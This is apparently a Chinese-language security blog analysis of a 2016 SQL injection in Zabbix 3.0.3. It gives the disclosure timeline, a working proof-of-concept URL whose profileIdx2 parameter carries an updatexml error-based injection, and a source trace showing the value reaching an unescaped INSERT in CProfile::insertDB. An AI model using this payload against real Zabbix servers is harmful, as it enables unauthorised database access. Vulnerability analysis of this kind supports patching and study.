zabbix SQL Injection Analysation
曝光过程
- 2016年8月11日,有人在seclists上公布了这个漏洞的POC,但是针对的是latest.php这个文件的注入,zabbix官方已经在7月22日发布了补丁,在3.0.4版本进行了修复,但是仅修复了latest.php的注入问题
- 紧接着8月12日,有人在seclists上进行回复,发现另一处jsrpc.php的注入,但两个漏洞的原理是一样的,3.0.4是否修补jsrpc.php的注入不得而知。
Right, it’s the same vuln, just in different places. It was fixed in 3.0.4.
漏洞分析
我们以jsrpc.php的注入为例进行分析,采用zabbix的3.0.3版本,源码编译安装。先看一下POC:
http://127.0.0.1:8001/jsrpc.php?
type=9&
method=screen.get&
timestamp=1471403798083&
pageFile=history.php&
profileIdx=web.item.graph&
profileIdx2=1+or+updatexml%281,md5%280x11%29,1%29+or+1=1%29%23&
updateProfile=true&
period=3600&
stime=20160817050632&
resourcetype=17
注入点在profileIdx2处,根据POC的结果可以看出来是insert类型的注入。
首先查看jsrpc.php文件,根据method参数,直接来到180行:
case 'screen.get':
$result = '';
$screenBase = CScreenBuilder::getScreen($data);
if ($screenBase !== null) {
$screen = $screenBase->get();
if ($data['mode'] == SCREEN_MODE_JS) {
$result = $screen;
}
else {
if (is_object($screen)) {
$result = $screen->toString();
}
}
}
break;
首先跟进CScreenBuilder::getScreen($data)
函数,其中$data
参数就是$_REQUEST
,在31行被赋值。
在getScreen
函数中,根据请求的resourcetype
不同,会初实例化不同的类,在POC中看到resourcetype
的值为17,从include/defines.inc.php
中可以看到17对应的为SCREEN_RESOURCE_HISTORY
。
define('SCREEN_RESOURCE_HOSTGROUP_TRIGGERS',14);
define('SCREEN_RESOURCE_SYSTEM_STATUS', 15);
define('SCREEN_RESOURCE_HOST_TRIGGERS', 16);
// used in Monitoring > Latest data > Graph (history.php)
define('SCREEN_RESOURCE_HISTORY', 17);
define('SCREEN_RESOURCE_CHART', 18);
define('SCREEN_RESOURCE_LLD_SIMPLE_GRAPH', 19);
define('SCREEN_RESOURCE_LLD_GRAPH', 20);
紧接着我们就可以从getScreen
函数中找到对应的处理代码:
case SCREEN_RESOURCE_HISTORY:
return new CScreenHistory($options);
返回的是CScreenHistory
类的实例,继续跟进CScreenHistory
类,看到该类是继承自CScreenBase
的,传入的参数其实还是$_REQUEST
。简单的通读一下这个类的代码加上搜索功能,定位到了下面这段代码:
// Calculate timeline.
if ($this->required_parameters['timeline'] && $this->timeline === null) {
$this->timeline = $this->calculateTime([
'profileIdx' => $this->profileIdx,
'profileIdx2' => $this->profileIdx2,
'updateProfile' => $this->updateProfile,
'period' => array_key_exists('period', $options) ? $options['period'] : null,
'stime' => array_key_exists('stime', $options) ? $options['stime'] : null
]);
}
发现在构造函数中,只有这里用到了profileIdx2
参数,于是继续跟进calculateTime
函数。在这个函数中,有两个函数用到了$options["profileIdx2"]
,分别是:
CProfile::get() // 从CProfile类的$profiles数组中获取数据。
CProfile::update() // 更新CProfile类的$profiles,$insert,$update数组。
到现在已经走完了实例化的过程,在jsrpc.php中要继续调用get()
方法,不过这个函数通读下来并没有什么与漏洞相关的信息,然后继续在jsrpc.php中向下跟,到最后的部分会看到:
require_once dirname(__FILE__).'/include/page_footer.php';
所以我们跟到这个文件中去,在38行左右有如下代码:
if (CProfile::isModified()) {
DBstart();
$result = CProfile::flush();
DBend($result);
}
继续进入CProfile::flush()
函数,看到如下代码:
foreach (self::$insert as $idx => $profile) {
foreach ($profile as $idx2 => $data) {
$result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
}
}
self::$insert
就是我们之前使用CProfile::update()
方法设置过的,可以看到又取出了idx2,并送入了self::insertDB
函数,继续跟到self::insertDB
函数中去:
private static function insertDB($idx, $value, $type, $idx2) {
$value_type = self::getFieldByType($type);
$values = [
'profileid' => get_dbid('profiles', 'profileid'),
'userid' => self::$userDetails['userid'],
'idx' => zbx_dbstr($idx),
$value_type => zbx_dbstr($value),
'type' => $type,
'idx2' => $idx2
];
return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}
在最后的DBexecute
函数中,插入了我们的profileIdx2
,没有进行任何过滤,导致了INSERT类型的SQL注入出现。另外一种latest.php
的注入原理与这个比较相近,各位可以自行分析一下,这里就不再赘述了。
Crawlergo
Crawlergo
Crawlergo
Crawlergo